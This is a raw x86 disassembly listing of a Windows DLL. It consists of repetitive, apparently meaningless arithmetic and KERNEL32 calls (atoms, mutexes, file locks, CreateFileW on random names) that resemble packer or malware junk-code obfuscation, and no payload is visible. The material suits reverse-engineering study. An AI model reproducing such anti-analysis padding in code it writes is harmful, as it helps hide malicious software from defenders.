call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b94b0], eax
mov edx, dword [ebp - 0x3824]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x43]
add eax, ecx
mov byte [0x100b7dfe], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba75c], eax
mov dword [ebp - 0x4200], 0x100b9f60
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x37d4], eax
movzx edx, word [ebp - 0x13e8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9b68], ax
mov eax, dword [ebp - 0x3cb0]
movsx ecx, word [eax]
mov edx, dword [0x100ba354]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x3f94]
mov word [edx], cx
lea eax, [ebp - 0xb104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x3b80]
movsx edx, byte [ecx]
movsx eax, byte [str._AaV]
xor edx, eax
mov byte [0x100b7e73], dl
push 0x100a6724
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba760], ax
mov ecx, dword [ebp - 0x38c0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 2]
sar edx, cl
mov byte [ebp - 0x14e], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x33e0], eax
mov eax, dword [ebp - 0x37ec]
xor eax, dword [ebp - 0x41c8]
mov dword [ebp - 0x3c38], eax
lea ecx, [ebp - 0x3274]
mov dword [0x100ba764], ecx
lea edx, [ebp - 0x27a]
mov dword [ebp - 0x4204], edx
movzx eax, word [ebp - 0x11c0]
movzx ecx, word [ebp - 0x1334]
shl eax, cl
mov ecx, dword [ebp - 0x36c0]
mov word [ecx], ax
push 0x2199
push 0
push 0x100ba5b8
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x4208], eax
lea edx, [ebp - 0x970]
mov dword [0x100ba768], edx
push str.356zLQ_ub.UJKVJNZ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba76c], ax
mov eax, dword [ebp - 0x38d0]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x1def
push 0x2fdc
push 0x1652
push 0x108e
mov ecx, dword [0x100b99c4]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100ba770], eax
lea edx, [ebp - 0x284]
mov dword [ebp - 0x420c], edx
mov eax, dword [ebp - 0x3e2c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3ffc]
mov dword [ebp - 0x2fd8], ecx
movzx edx, word [0x100b7294]
mov eax, dword [ebp - 0x3b04]
movzx ecx, word [eax]
and edx, ecx
mov word [0x100b71ec], dx
lea edx, [ebp - 0xb128]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x364c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2f78]
mov dword [ebp - 0x326c], ecx
lea edx, [ebp - 0x27d]
mov dword [ebp - 0x4210], edx
movsx eax, word [0x100b71fc]
mov ecx, dword [ebp - 0x3ed8]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [0x100b971c]
mov word [ecx], ax
mov edx, dword [ebp - 0x386c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3ca0]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x37c4]
mov byte [edx], al
mov eax, dword [ebp - 0x3f00]
mov ecx, dword [0x100ba1a8]
xor ecx, dword [eax]
mov dword [ebp - 0x2f10], ecx
push str.V2CYJ2FquXgp_ow_ljGN
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba774], ax
mov edx, dword [ebp - 0x3bd0]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [ebp - 0x3db0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2ae]
add ecx, edx
mov byte [0x100b7226], cl
mov ax, word [0x100b71f4]
mov word [ebp - 0x1454], ax
mov ecx, dword [ebp - 0x40ac]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x11dc]
and edx, eax
mov ecx, dword [ebp - 0x3ba4]
mov word [ecx], dx
mov edx, dword [0x100b9b10]
mov eax, dword [edx]
sub eax, dword [0x100b7308]
mov ecx, dword [0x100ba3b8]
mov dword [ecx], eax
movsx edx, word [ebp - 0xedc]
movsx ecx, word [0x100b9f14]
shl edx, cl
mov word [ebp - 0x62c], dx
push str.e_vWax6OL_G9V6kYn
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1458], ax
mov eax, dword [ebp - 0x39e0]
mov cl, byte [eax]
mov byte [ebp - 0x2c0], cl
push 0x100b9c3c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 0x3ffc]
mov dword [0x100ba778], edx
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x4214], eax
movzx ecx, word [ebp - 0xdf0]
imul edx, ecx, 0xb0f
mov word [ebp - 0x11a8], dx
lea eax, [ebp - 0xae7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x11cc]
mov dword [0x100ba77c], ecx
mov edx, dword [ebp - 0x3f28]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x35f0]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x104], al
mov eax, dword [0x100b958c]
mov ecx, dword [ebp - 0x30c0]
or ecx, dword [eax]
mov dword [0x100b7208], ecx
push 0
push 0x10
push 4
push 0
push 1
push 0x40000000
push str.KpFonjPkeFhS4ufO3cESpDs_br3YXzCAP
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba780], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4218], eax
mov edx, dword [0x100b9a18]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba784], eax
mov eax, dword [ebp - 0x391c]
movsx edx, word [eax]
mov eax, dword [0x100ba228]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1338], dx
lea ecx, [ebp - 0x9d18]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.B1o4unTP.mao
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x145c], ax
mov edx, dword [ebp - 0x390c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3884]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x283], al
mov eax, dword [ebp - 0x355c]
mov ecx, dword [ebp - 0x3fb4]
and ecx, dword [eax]
mov edx, dword [0x100b94a4]
mov dword [edx], ecx
lea eax, [ebp - 0x1200]
mov dword [ebp - 0x421c], eax
mov ecx, dword [ebp - 0x3ff4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x3f4c]
mov eax, dword [ebp - 0x3a40]
mov dword [eax], edx
lea ecx, [ebp - 0x1318]
mov dword [0x100ba788], ecx
lea edx, [ebp - 0x3f14]
mov dword [ebp - 0x4220], edx
movzx eax, byte [ebp - 0x276]
mov ecx, dword [ebp - 0x3ca0]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x8f], al
movsx edx, byte [ebp - 0x29c]
mov eax, dword [ebp - 0x3f28]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x100b7e6b], dl
mov edx, dword [ebp - 0x3b00]
mov al, byte [edx]
mov byte [ebp - 0x2c1], al
mov edx, dword [ebp - 0x2d38]
mov ecx, dword [ebp - 0x37cc]
sar edx, cl
mov eax, dword [ebp - 0x3934]
mov dword [eax], edx
mov ecx, dword [ebp - 0x41a8]
movzx edx, byte [ecx]
mov eax, dword [0x100ba6f0]
movzx ecx, byte [eax]
or edx, ecx
mov byte [0x100b7227], dl
push 0xe15
push 0
push 0x100b9934
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100ba78c], eax
lea edx, [ebp - 0x5e0]
mov dword [ebp - 0x4224], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4228], eax
mov eax, dword [ebp - 0x3ac8]
movzx ecx, word [eax]
movzx edx, word [0x100b732c]
and ecx, edx
mov eax, dword [ebp - 0x3808]
mov word [eax], cx
push 0x239b
push 0
push 0x100ba4a0
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3ce0], eax
push 0
push 0x100b9810
mov ecx, dword [ebp - 0x9860]
push ecx
mov edx, dword [ebp - 0x9864]
push edx
mov eax, dword [ebp - 0x3d30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba790], eax
mov ecx, dword [0x100b98b0]
mov edx, dword [ebp - 0x2ba4]
sub edx, dword [ecx]
mov dword [0x100ba730], edx
push 0
push 0x36f4
push 0x22d
push 0x2e9c
push 2
mov eax, dword [ebp - 0x3a08]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100ba030], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x422c], eax
push 0x100a6808
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba794], ax
mov ecx, dword [0x100ba198]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x28f]
shl edx, cl
mov byte [ebp - 0x23e], dl
mov eax, dword [0x100ba1a8]
add eax, dword [ebp - 0x3fa0]
mov dword [ebp - 0x2e9c], eax
mov cl, byte [ebp - 0x2c0]
mov byte [0x100b8136], cl
push 0
push 4
push 1
push 0
push 2
push 0x80000000
push str.6mQV0zki_vjrwhlT
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4230], eax
push str.FlB22s_FTdQo_HjXGlsoy
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9af8], ax
mov edx, dword [0x100b9db8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3ba4]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x12a0], ax
push 0x22de
push 0
lea edx, [ebp - 0x3c58]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100ba798], eax
mov ax, word [0x100ba128]
mov word [ebp - 0x1460], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3908], eax
lea ecx, [ebp - 0x278]
mov dword [0x100ba79c], ecx
mov edx, dword [ebp - 0x39a8]
movzx eax, word [edx]
mov ecx, dword [0x100b99d4]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x12a0], ax
movzx eax, word [0x100b9744]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9dc4], ax
mov ecx, dword [ebp - 0x3acc]
or ecx, dword [0x100ba50c]
mov dword [ebp - 0x3cf4], ecx
mov edx, dword [ebp - 0x3e4c]
mov eax, dword [0x100ba658]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [0x100b9530], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4234], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3e08], eax
lea edx, [ebp - 0x289]
mov dword [ebp - 0x4238], edx
movsx eax, word [0x100b96b4]
movsx ecx, word [ebp - 0x11e0]
add eax, ecx
mov edx, dword [ebp - 0x3724]
mov word [edx], ax
push str.t6AOfIj_NooycQ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba7a0], ax
movsx eax, byte [ebp - 0x73]
mov ecx, dword [0x100b9ff8]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b722a], al
mov dword [ebp - 0x423c], 0x100ba5dc
mov edx, dword [ebp - 0x38d4]
mov eax, dword [edx]
and eax, dword [ebp - 0x3d1c]
mov dword [ebp - 0x2ad0], eax
mov ecx, dword [ebp - 0x401c]
mov edx, dword [ebp - 0x4100]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [0x100b95f8]
mov dword [ecx], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4240], eax
movzx edx, byte [ebp - 0x48]
movzx eax, byte [ebp - 0x296]
xor edx, eax
mov ecx, dword [ebp - 0x3884]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3e98]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3f88]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3d04]
mov byte [ecx], al
movzx edx, word [0x100ba4f8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13d4], ax
movsx eax, word [0x100b94a0]
mov ecx, dword [ebp - 0x4060]
movsx edx, word [ecx]
or eax, edx
mov ecx, dword [0x100b9c34]
mov word [ecx], ax
mov dx, word [ebp - 0x1430]
mov word [ebp - 0x1464], dx
mov eax, dword [ebp - 0x3ec8]
mov ecx, dword [eax]
mov dword [ebp - 0x4244], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba7a4], eax
lea edx, [ebp - 0x3b]
mov dword [0x100ba7a8], edx
push 0
lea eax, [ebp - 0x984c]
push eax
mov ecx, dword [0x100ba7b4]
push ecx
mov edx, dword [0x100ba7b0]
push edx
mov eax, dword [0x100b9500]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4248], eax
push str.CVmTdGh_4K94w2_LZK2cCa_tT7X5Lg
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1468], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba7ac], eax
movzx ecx, byte [0x100b7fd7]
mov edx, dword [ebp - 0x4028]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x398c]
mov byte [edx], cl
mov eax, dword [0x100ba304]
imul ecx, dword [eax], 0x6a1b
mov dword [ebp - 0x2d14], ecx
mov edx, dword [ebp - 0x3b9c]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x100b9e4c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x12c4]
sub ecx, edx
mov word [0x100ba634], cx
mov eax, dword [ebp - 0x3a78]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x138c]
shl edx, cl
mov word [ebp - 0x5b8], dx
push 0x100ba4b4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3e2c]
mov edx, dword [eax]
mov ecx, dword [0x100b7200]
sar edx, cl
mov eax, dword [ebp - 0x4050]
mov dword [eax], edx
push str.ZNk_ZYRNyH.7sbWVBa.JwU2
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9c58], ax
lea ecx, [ebp - 0x2b4]
mov dword [0x100ba7b8], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x424c], eax
mov edx, dword [0x100b9be4]
movzx eax, byte [edx]
mov ecx, dword [0x100b9598]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x2a], al
mov eax, dword [ebp - 0x3650]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x13c0]
and ecx, edx
mov eax, dword [ebp - 0x39d4]
mov word [eax], cx
lea ecx, [ebp - 0x1280]
mov dword [0x100ba7bc], ecx
lea edx, [ebp - 0x39c0]
mov dword [ebp - 0x4250], edx
mov eax, dword [ebp - 0x3d6c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x528]
or ecx, edx
mov word [ebp - 0x1278], cx
lea eax, [ebp - 0x9d30]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [0x100b9620]
mov edx, dword [0x100b975c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [0x100ba550]
mov dword [ecx], eax
mov dl, byte [ebp - 0x2b3]
mov byte [ebp - 0x2c2], dl
movzx eax, byte [0x100b8136]
movzx ecx, byte [ebp - 0x128]
shl eax, cl
mov byte [0x100b802f], al
mov ecx, dword [ebp - 0x3d08]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1404]
sar edx, cl
mov eax, dword [ebp - 0x3c24]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba7c0], eax
mov ecx, dword [ebp - 0x2af8]
add ecx, dword [ebp - 0x2d88]
mov dword [ebp - 0x327c], ecx
mov edx, dword [ebp - 0x3028]
and edx, dword [ebp - 0x37ec]
mov dword [0x100b7334], edx
mov eax, dword [ebp - 0x3e94]
mov cx, word [eax]
mov word [ebp - 0x146c], cx
mov edx, dword [ebp - 0x4214]
movsx eax, byte [edx]
movsx ecx, byte [0x100b71c7]
xor eax, ecx
mov edx, dword [ebp - 0x37b8]
mov byte [edx], al
mov al, byte [ebp - 0x2bd]
mov byte [0x100b8137], al
lea ecx, [ebp - 0x73]
mov dword [ebp - 0x4254], ecx
mov edx, dword [0x100b9ebc]
xor edx, dword [ebp - 0x3f60]
mov eax, dword [ebp - 0x40f8]
mov dword [eax], edx
mov ecx, dword [0x100b9c30]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1204]
xor edx, eax
mov ecx, dword [0x100ba7bc]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9aec], eax
push 0xfcc
push 0
lea edx, [ebp - 0x3bcc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100ba7c4], eax
push str.7Hh4_KP_kYencx_OPnJqa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1470], ax
mov ax, word [0x100b7304]
mov word [ebp - 0x1474], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9ba0], eax
mov ecx, dword [ebp - 0x4250]
mov eax, dword [ebp - 0x2dc8]
xor edx, edx
div dword [ecx]
mov dword [ebp - 0x3fd0], eax
movzx edx, byte [ebp - 0x2a3]
mov eax, dword [0x100b9be4]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [0x100ba6a8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x35c4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2b4]
sub edx, eax
mov byte [ebp - 0x1b9], dl
mov ecx, dword [ebp - 0x366c]
mov edx, dword [0x100b9bc0]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x3a1c]
mov dword [ecx], eax
mov edx, dword [0x100ba164]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x9e4]
shl eax, cl
mov word [0x100b7338], ax
mov ecx, dword [ebp - 0x384c]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x6bc]
sar edx, cl
mov eax, dword [ebp - 0x3c4c]
mov word [eax], dx
mov ecx, dword [ebp - 0x3dc0]
mov dx, word [ecx]
mov word [ebp - 0x1478], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4258], eax
mov eax, dword [ebp - 0x3454]
mov cl, byte [eax]
mov byte [0x100b813a], cl
push 0
push 0x40
push 4
push 0
push 1
push 0x40000000
push str.w7tapqOsW49e
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba7c8], eax
mov edx, dword [ebp - 0x3418]
mov eax, dword [edx]
and eax, dword [ebp - 0x2dbc]
mov ecx, dword [ebp - 0x3b1c]
mov dword [ecx], eax
lea edx, [ebp - 0x3ffc]
mov dword [ebp - 0x425c], edx
movsx eax, byte [0x100b717b]
movsx ecx, byte [ebp - 0x17c]
xor eax, ecx
mov edx, dword [0x100ba7a8]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3c14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba7c0], eax
movzx eax, word [ebp - 0x1478]
movzx ecx, word [0x100ba1d0]
add eax, ecx
mov word [ebp - 0x1150], ax
push 2
lea edx, [ebp - 0x982c]
push edx
mov eax, dword [ebp - 0x9868]
push eax
mov ecx, dword [ebp - 0x986c]
push ecx
mov edx, dword [ebp - 0x3d30]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba7cc], eax
mov eax, dword [ebp - 0x391c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xdfc]
and ecx, edx
mov word [ebp - 0x5dc], cx
movsx eax, byte [0x100b71eb]
movsx ecx, byte [ebp - 0x77]
sar eax, cl
mov byte [0x100b7e3b], al
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x4260], ecx
mov edx, dword [ebp - 0x3c18]
mov eax, dword [ebp - 0x3860]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x3770]
mov dword [eax], edx
lea ecx, [ebp - 0x3d94]
mov dword [0x100ba7d0], ecx
movsx edx, byte [str._AaV]
movsx eax, byte [ebp - 0x194]
or edx, eax
mov byte [ebp - 0x2be], dl
lea ecx, [ebp - 0x13ac]
mov dword [ebp - 0x4264], ecx
mov edx, dword [ebp - 0x3998]
movsx eax, word [edx]
mov ecx, dword [0x100b99ac]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [0x100ba340]
mov word [ecx], ax
mov edx, dword [ebp - 0x3ba8]
movzx eax, byte [edx]
mov ecx, dword [0x100ba678]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x155], al
mov eax, dword [ebp - 0x3f1c]
mov ecx, dword [0x100b72fc]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4000]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1404]
mov ecx, dword [ebp - 0x3ef4]
movzx edx, word [ecx]
imul eax, edx
mov word [0x100b733c], ax
lea eax, [ebp - 0x2f6c]
mov dword [ebp - 0x4268], eax
mov ecx, dword [ebp - 0x3c9c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x35f4]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x138], dl
mov ecx, dword [ebp - 0x3d80]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x37f8]
movsx ecx, word [eax]
xor edx, ecx
mov eax, dword [0x100ba340]
mov word [eax], dx
movzx ecx, byte [ebp - 0x256]
mov edx, dword [ebp - 0x39e0]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x3ba8]
mov byte [edx], cl
mov eax, dword [0x100b9530]
mov dword [ebp - 0x426c], eax
lea ecx, [ebp - 0x134]
mov dword [0x100ba7d4], ecx
push str.N_Fjh9Ju_WP_vXy6
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba7d8], ax
mov dword [ebp - 0x4270], 0x100ba640
movzx edx, word [0x100ba65c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1170], ax
mov eax, dword [ebp - 0x3660]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3dec]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xf08], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba000], eax
mov ecx, dword [0x100ba2bc]
mov edx, dword [ecx]
mov dword [0x100ba7dc], edx
lea eax, [ebp - 0x89c]
mov dword [ebp - 0x4274], eax
movzx ecx, byte [ebp - 0x4e]
movzx edx, byte [0x100b718a]
or ecx, edx
mov byte [ebp - 0x2bf], cl
push 0x100a6960
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x147c], ax
mov eax, dword [0x100ba55c]
mov ecx, dword [ebp - 0x3d1c]
add ecx, dword [eax]
mov dword [0x100b9dd4], ecx
push 0
push 0x20
push 4
push 0
push 8
push 0x80000000
push str.4ZA7zk6Scflzk9BJFB1V
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba7e0], eax
movsx edx, byte [ebp - 0x2ab]
mov eax, dword [ebp - 0x38dc]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x3dcc]
mov byte [eax], dl
mov cx, word [0x100ba5c4]
mov word [ebp - 0x1480], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4278], eax
mov edx, dword [ebp - 0x35fc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3b60]
movzx ecx, word [ecx]
sar eax, cl
mov word [0x100b7224], ax
mov edx, dword [0x100b9724]
movsx eax, byte [edx]
mov ecx, dword [0x100ba6c4]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x22], al
lea edx, [ebp - 0x9d00]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba7e4], eax
lea eax, [ebp - 0x3a88]
mov dword [0x100ba7e8], eax
push 0x2970
push 0x2745
push 0xb0d
push 0x3139
mov ecx, dword [0x100ba4e8]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3a9c], eax
movsx edx, word [ebp - 0xbec]
movsx eax, word [ebp - 0x1448]
add edx, eax
mov ecx, dword [ebp - 0x384c]
mov word [ecx], dx
mov edx, dword [ebp - 0x3454]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x40e8]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3c1c]
mov byte [ecx], al
mov edx, dword [ebp - 0x4168]
mov eax, dword [0x100ba704]
or eax, dword [edx]
mov dword [0x100b7340], eax
push 0x100a6998
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba388], ax
mov cx, word [ebp - 0x1334]
mov word [ebp - 0x1484], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x427c], eax
mov edx, dword [ebp - 0x41d0]
mov eax, dword [0x100b71e0]
xor eax, dword [edx]
mov dword [ebp - 0x3d1c], eax
movsx edx, word [0x100ba128]
movsx ecx, word [ebp - 0x1298]
sar edx, cl
mov eax, dword [0x100b9c34]
mov word [eax], dx
mov eax, dword [0x100ba558]
xor edx, edx
mov ecx, 0x1021
div ecx
mov dword [ebp - 0x2b78], eax
mov edx, dword [0x100ba564]
mov al, byte [edx]
mov byte [ebp - 0x2c3], al
mov ecx, dword [ebp - 0x35f0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3b]
add edx, eax
mov byte [0x100b7e6a], dl
movsx ecx, byte [ebp - 0x2bb]
mov edx, dword [0x100b9afc]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x287], cl
push str.CoQkvfTZ_C8x
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba7ec], ax
movzx ecx, word [ebp - 0x1450]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1488], ax
mov edx, dword [ebp - 0x3900]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e8c]
mov dword [ebp - 0x2b34], eax
lea ecx, [ebp - 0x2ba]
mov dword [0x100ba7f0], ecx
mov edx, dword [ebp - 0x3914]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x140c]
shl eax, cl
mov word [ebp - 0x5a0], ax
mov ecx, dword [0x100b9fbc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xf38]
or edx, eax
mov ecx, dword [ebp - 0x3c24]
mov word [ecx], dx
mov dword [0x100ba7f4], 0x100b7288
mov edx, dword [ebp - 0x3c10]
mov al, byte [edx]
mov byte [ebp - 0x2c4], al
mov edx, dword [ebp - 0x3f4c]
mov ecx, dword [0x100b730c]
sar edx, cl
mov dword [ebp - 0x2f1c], edx
mov eax, dword [ebp - 0x3c84]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3e3c]
movzx eax, byte [edx]
add ecx, eax
mov byte [0x100b8136], cl
mov ecx, dword [ebp - 0x4134]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x40c8]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x3dec]
mov word [eax], dx
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x4280], ecx
mov edx, dword [ebp - 0x403c]
mov al, byte [edx]
mov byte [0x100b813b], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba7f8], eax
mov ecx, dword [ebp - 0x3a80]
movzx edx, word [ecx]
mov eax, dword [0x100ba0e0]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x1350], dx
mov edx, dword [0x100ba1a0]
mov eax, dword [ebp - 0x3acc]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2f9c], eax
mov ecx, dword [ebp - 0x37d0]
mov edx, dword [ebp - 0x3494]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [0x100ba0ec]
mov dword [ecx], eax
mov edx, dword [0x100ba5b4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x420c]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x33f4]
mov byte [ecx], al
push 0x100a69bc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x148c], ax
movsx edx, word [ebp - 0xbd8]
mov eax, dword [ebp - 0x3488]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x1338], dx
